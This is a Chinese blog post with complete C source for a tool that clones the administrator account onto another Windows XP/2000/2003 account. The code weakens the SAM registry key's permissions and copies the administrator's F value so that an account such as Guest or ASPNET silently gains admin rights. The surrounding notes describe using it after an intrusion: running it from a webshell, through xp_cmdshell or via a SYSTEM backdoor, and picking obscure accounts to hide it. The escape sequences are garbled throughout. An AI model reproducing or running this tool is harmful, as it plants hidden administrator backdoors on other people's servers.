支持XP/2k/2k3下完美進行任意用戶克隆的C源碼

軟件作者: pt007[at]vip.sina.com版權所有,轉載請註明版權
信息來源: I.S.T.O信息安全團隊(http://blog.csdn.net/I_S_T_O)

本程序是基於dahubaobao的源程序的基礎上進行了修改,改正了源程序中的一個嚴重BUG(原程序會引起用戶管理的混亂),本版本加入了註冊表提權和恢復功能,因此能夠完美的支持XP/2000/2003,下一個版本我打算實現直接輸入用戶名克隆和密碼修改功能!感謝dahubaobao和sinister的指點
  SHELL裏可執行是指:至少有一個管理員權限的shell,如:jsp/MYSQL/SERV提權/反彈CMDSHELL
軟件使用問題整理:
引用第46樓kuba8於2007-04-25 20:16發表的  :
我發現在國外有些機上不能執行,不知道爲什麼~
1、這種情況很可能是SAM鍵值做了安全設置,比如只允許system完全控制,administrators組成員連讀取權限都沒有,解決方法是獲得一個system權限的SHELL,比如用SQL的XP_CMDSHELL來運行這個命令,或者利用服務啓動的後門一般都是system權限的,所以你可以找一個第三方的後門程序來執行這個程序。
2、最近我在做一個滲透項目的時候發現,如果服務器爲域服務器,也會出現clone5 -l列不出或列不全用戶的情況,這種情況下建議大家不要使用任何的用戶克隆類軟件,否則把用戶的機器搞出問題了就不好玩了,建議大家可以留個後門,解決方案等有時間再進行研究。
3、2000下停用了賬號依然可以正常使用,03下面必須啓用,刪除了克隆用戶也沒問題,總之和正常用戶一樣進行操作就可以了,克隆完之後要使用net user aspnet test來修改密碼。
4、克隆之後會啓用該用戶。
5、測試克隆用戶的方法:
runas /user:aspnet cmd
net share (能執行代表具有管理員權限)
6、任意用戶均可以克隆,建議大家的眼光不要侷限克隆GUEST,多克隆其它的一些賬號,比如ASPNET和tsinternetuser等。

Code Language : C
  1. #include <windows.h>
  2. #include <string.h>
  3. #include <stdio.h>
  4. #include <aclapi.h>
  5.  
  6. char name[50][30];
  7. int KeyN=0;
  8. LPTSTR lpObjectName;
  9. SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>
  10. PACL OldDACL,NewDACL;
  11. PSECURITY_DESCRIPTOR SD;
  12. EXPLICIT_ACCESS ea;
  13. //OpenKey(),ViewUser(),ListUser()函數用到的變量
  14.  
  15. //顯示用戶名對應的安全標識符:
  16. void OpenKey (char *key);
  17. int ViewUser (char *key);
  18. int ListUser (void);//列出用戶名和類型值(用戶SID)
  19. int Clone (char *C_sid);//克隆帳戶
  20. void Usage (void);//幫助信息
  21.  
  22. //設置註冊表的存取權限:
  23. void new();
  24. void old();
  25.  
  26. void main (int argc, char *argv[])
  27. {
  28. char C_Sid[10];
  29. int n;
  30. if(argc<2)
  31. {Usage();
  32. return;}
  33.  
  34. //提升註冊表SAM鍵的權限:
  35. new();
  36.  
  37. //如何使用命令行參數的方法:
  38. for (n=1;n<argc;n++)
  39. {
  40. if (argv[n][0] == '-')
  41. {
  42. switch(argv[n][1])
  43. {
  44. case '?':
  45. case 'h':
  46. case 'H':Usage();
  47. break;
  48.  
  49. case 'l':
  50. case 'L':ListUser();
  51.       old();
  52. break;
  53.  
  54. case 'c':
  55. case 'C':
  56. if(argc<3)
  57. {printf("Useage:%s -c 1F5/n",argv[0]);
  58.  old();
  59.  break;}
  60. strcpy(C_Sid,argv[2]);//獲得屏幕輸入並存入C_Sid字符數組
  61. if (strlen(C_Sid)<=10)
  62. Clone(C_Sid);
  63. else
  64. printf("Error/n");
  65. //恢復註冊表的權限:
  66. old();
  67.  
  68.       break;
  69.  
  70. }
  71. }
  72. }
  73. }
  74.  
  75.  
  76. void OpenKey (char *key)
  77. {
  78. HKEY hkey;//註冊表鍵值的句柄
  79. DWORD dwIndex=0,lpcbname=100,ret=0;
  80. char T_name[100],Buffer[100];
  81. FILETIME lpftlast;
  82. int i=0;
  83. //下面是字符數組清0:
  84. ZeroMemory(Buffer,100);
  85. ZeroMemory(T_name,100);
  86. ZeroMemory(name,1500);
  87.  
  88. RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根鍵名或已打開項的句柄
  89. key, //傳遞一個參數,欲打開的註冊表項
  90. 0, //未用,設爲0即可
  91. KEY_ALL_ACCESS, //描述新鍵值安全性的訪問掩碼
  92. //它們的組合描述了允許對這個項進行哪些操作
  93. &hkey);//裝載上面打開項的句柄
  94.  
  95. for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍歷子鍵中的每個值
  96. {
  97. ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
  98. NULL,NULL,NULL,&lpftlast);
  99. //dwIndex:欲獲取的子項的索引。第一個子項的索引編號爲零
  100. //T_name:用於裝載指定索引處項名的一個緩衝區
  101. //&lpcbname:指定一個變量,用於裝載lpName緩衝區的實際長度(包括空字符)。
  102. //一旦返回,它會設爲實際裝載到lpName緩衝區的字符數量
  103. //NULL:未用,設爲零
  104. //NULL:項使用的類名
  105. //NULL:用於裝載lpClass緩衝區長度的一個變量
  106. //&lpftlast:FILETIME,枚舉子項上一次修改的時間
  107.  
  108. strcat(name[i],T_name);//將每個子鍵名加入到name數組中 
  109.  
  110. ZeroMemory(T_name,100);//清0
  111. lpcbname=100;
  112. }
  113. //printf("subkey=%s/n",name[0]);//administrator
  114. RegCloseKey(hkey); //關閉註冊鍵
  115.  
  116. //拼接用戶名:
  117. for(KeyN=0;KeyN<i;KeyN++)
  118. {
  119. strcat(Buffer,name[KeyN]);
  120. strcat(Buffer,"/n/r");
  121. }
  122. }
  123.  
  124. int ViewUser (char *key)
  125. {
  126. HKEY hkey;
  127. DWORD lpType=0,ret;
  128. char S_name[10];
  129.  
  130.  
  131. ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  132. key,//如://SAM//SAM//Domains//Account//Users//Names//administrator
  133. 0,
  134. KEY_ALL_ACCESS,
  135. &hkey);
  136.  
  137. if(ret==ERROR_SUCCESS)
  138.       ;
  139. else
  140. return 0;
  141.  
  142. RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);
  143. //NULL:要獲取值的名字
  144. //NULL:未用,設爲零
  145. //&lpType:用於裝載取回數據類型的一個變量
  146. //NULL:用於裝載指定值的一個緩衝區
  147. //NULL:用於裝載lpData緩衝區長度的一個變量
  148.  
  149. wsprintf(S_name,"%X/n/r",lpType);
  150. printf("%s",S_name);
  151.  
  152. return 1;
  153. }
  154.  
  155. int ListUser (void)
  156. {
  157. int n;
  158. char Buffer[70]="SAM//SAM//Domains//Account//Users//Names//";
  159. char Temp[40]={'/0'};
  160.  
  161. OpenKey("SAM//SAM//Domains//Account//Users//Names");
  162.  
  163. for(n=0;n<KeyN;n++)
  164. {
  165. strcat(Buffer,name[n]);//SAM//SAM//Domains//Account//Users//Names//administrator
  166. wsprintf(Temp,name[n]);
  167. strcat(Temp,"===>");
  168. printf("%s",Temp);
  169. ViewUser(Buffer);
  170. strcpy(Buffer,"SAM//SAM//Domains//Account//Users//Names//");
  171. }
  172. return 1;
  173. }
  174.  
  175. int Clone(char *C_sid)
  176. {
  177. HKEY hkey,C_hkey;
  178. DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
  179. char CloneSid[100];
  180. LPBYTE lpDataF,lpDataV;
  181. //爲註冊表的F與V值分配空間:
  182. lpDataF = (LPBYTE) malloc(1024*2);
  183. lpDataV = (LPBYTE) malloc(1024*10);
  184. //清0:
  185. ZeroMemory(lpDataF,1024*2);
  186. ZeroMemory(lpDataV,1024*10);
  187. ZeroMemory(CloneSid,100);
  188.  
  189. strcpy(CloneSid,"SAM//SAM//Domains//Account//Users//00000");
  190. strcat(CloneSid,C_sid);//如:SAM//SAM//Domains//Account//Users//000001F5
  191.  
  192. ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  193. "SAM//SAM//Domains//Account//Users//000001F4", //administrator的子鍵
  194. 0,
  195. KEY_ALL_ACCESS,
  196. &hkey);
  197.  
  198. if(ret==ERROR_SUCCESS)
  199. ;
  200. else
  201. return 0;
  202. //讀出F值然後存入lpDataF中:
  203. ret = RegQueryValueEx(hkey,"F",NULL,
  204. &Type,lpDataF,&SizeF);
  205.  
  206. if(ret==ERROR_SUCCESS)
  207. ;
  208. else
  209. return 0;
  210. //讀出v值然後存入lpDataV中:
  211. ret = RegQueryValueEx(hkey,"V",NULL,
  212. &Type,lpDataV,&SizeV);
  213.  
  214. if(ret==ERROR_SUCCESS)
  215. ;
  216. else
  217. return 0;
  218. //下面是打開需克隆用戶如guest的鍵值:
  219. ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  220. CloneSid, //如:SAM//SAM//Domains//Account//Users//000001F5
  221. 0,
  222. KEY_ALL_ACCESS,
  223. &C_hkey);
  224.  
  225. if(ret==ERROR_SUCCESS)
  226. ;
  227. else
  228. return 0;
  229. //將lpDataF中的值來替換需克隆用戶的F值:
  230. ret= RegSetValueEx(C_hkey,"F",0,
  231. REG_BINARY,
  232. lpDataF,
  233. SizeF);
  234. //C_hkey:根鍵名或已打開項的句柄
  235. //“F”:要設置值的名字
  236. //0:未用,設爲零
  237. //REG_BINARY:要設置的數量類型
  238. //lpDataF:包含數據的緩衝區中的第一個字節
  239. //SizeF:lpData緩衝區的長度
  240.  
  241. if(ret==ERROR_SUCCESS)
  242. printf("Clone User Success/n");
  243. else
  244. {
  245. printf("Clone User FAIL/n");
  246. return 0;
  247. }
  248. //關閉已打開的註冊表句柄:
  249. RegCloseKey(hkey);
  250. RegCloseKey(C_hkey);
  251.  
  252. return 1;
  253. }
  254.  
  255. void new()
  256. {//下面是設置SAM鍵的權限爲everyone:
  257.       lpObjectName = "MACHINE//SAM//SAM";
  258.  
  259.       ObjectType =SE_REGISTRY_KEY;
  260.  
  261.       //建立一個空的ACL;
  262.       if (SetEntriesInAcl(0, NULL, NULL, &
  263.  
  264.       OldDACL)!=ERROR_SUCCESS)
  265.             return;
  266.  
  267.       if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)
  268.             return;
  269.  
  270.       //獲取現有的ACL列表到OldDACL:
  271.       if(GetNamedSecurityInfo(lpObjectName, ObjectType,
  272.                                        DACL_SECURITY_INFORMATION,
  273.                                        NULL, NULL,
  274.                                        &OldDACL,
  275.                                        NULL, &SD) != ERROR_SUCCESS)
  276.                printf("指定的鍵不存在!/n");
  277. // 本文轉自 C++Builder 研究 - http://www.ccrun.com/article.asp?i=563&d=tshoza
  278.  //設置用戶名"Everyone"對指定的鍵有所有操作權到結構ea:
  279.       ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  280.  
  281.       BuildExplicitAccessWithName(&ea,
  282.                                                 "Everyone",         // name of trustee
  283.                                                 KEY_ALL_ACCESS,       // type of access
  284.                                                 SET_ACCESS,         // access mode
  285.                                                 SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子鍵繼承它的權限
  286.  
  287.      
  288.       //合併結構ea和OldDACL的權限列表到新的NewDACL:
  289.       if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)
  290.                goto Cleanup;
  291.  
  292.       //把新的ACL寫入到指定的鍵:
  293.       SetNamedSecurityInfo(lpObjectName, ObjectType,
  294.                DACL_SECURITY_INFORMATION,
  295.                NULL, NULL,
  296.                NewDACL,
  297.                NULL);
  298. //釋放指針
  299.       Cleanup:
  300.       if(SD != NULL)
  301.                LocalFree((HLOCAL) SD);
  302.       if(NewDACL != NULL)
  303.                LocalFree((HLOCAL) NewDACL);
  304.       if(OldDACL != NULL)
  305.                LocalFree((HLOCAL) OldDACL);
  306. }
  307.  
  308. void old()
  309. {
  310. //恢復註冊表的權限:
  311.  
  312.       BuildExplicitAccessWithName(&ea,
  313.                                                 "system",         // name of trustee
  314.                                                 KEY_ALL_ACCESS,       // type of access
  315.                                                 SET_ACCESS,         // access mode
  316.                                                 SUB_CONTAINERS_AND_OBJECTS_INHERIT); //讓子鍵繼承他的權限
  317.  
  318.       if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)
  319.           goto Cleanup;
  320.  
  321.       //把舊的ACL寫入到指定的鍵:
  322.       SetNamedSecurityInfo(lpObjectName, ObjectType,
  323.                DACL_SECURITY_INFORMATION,
  324.                NULL, NULL,
  325.                OldDACL,
  326.                NULL);
  327.       //釋放指針
  328.       Cleanup:
  329.       if(SD != NULL)
  330.                LocalFree((HLOCAL) SD);
  331.       if(NewDACL != NULL)
  332.                LocalFree((HLOCAL) NewDACL);
  333.       if(OldDACL != NULL)
  334.                LocalFree((HLOCAL) OldDACL);
  335.  
  336. }
  337.  
  338.  
  339. //輸出幫助的典型方法:
  340. void Usage (void)
  341. {
  342. fprintf(stderr,"===============================================================================/n"
  343. "/t名稱:2003與2000下克隆任意用戶程序/n"
  344. "/t環境:Win2003 + Visual C++ 6.0/n"
  345. "/t作者:[email protected]/n"
  346. "/tQQ:7491805/n"
  347. "/t聲明:本軟件由pt007原創,轉載請註明出處,謝謝!/n"
  348. "/n"
  349. "/t使用方法:/n"
  350. "/t/"-H/":幫助信息/n"
  351. "/t/"-L/":列出系統中用戶對應的SID/n"
  352. "/t/"-C 1F5/":克隆帳戶,輸入SID即可/n"
  353. "/t 對應註冊表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users/n"
  354. "/t 對應註冊表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users//Names/n"
  355. "/n"
  356. "/t注意事項:/n"
  357. "/t由於SID的前5位都是/"0/",所以不必輸入,直接輸入最後三位/n"
  358. "/t例如:000001F5,則直接輸入1F5,即可將Guest帳戶克隆/n"
  359. "===============================================================================/n");
  360. }
發佈了44 篇原創文章 · 獲贊 0 · 訪問量 16萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章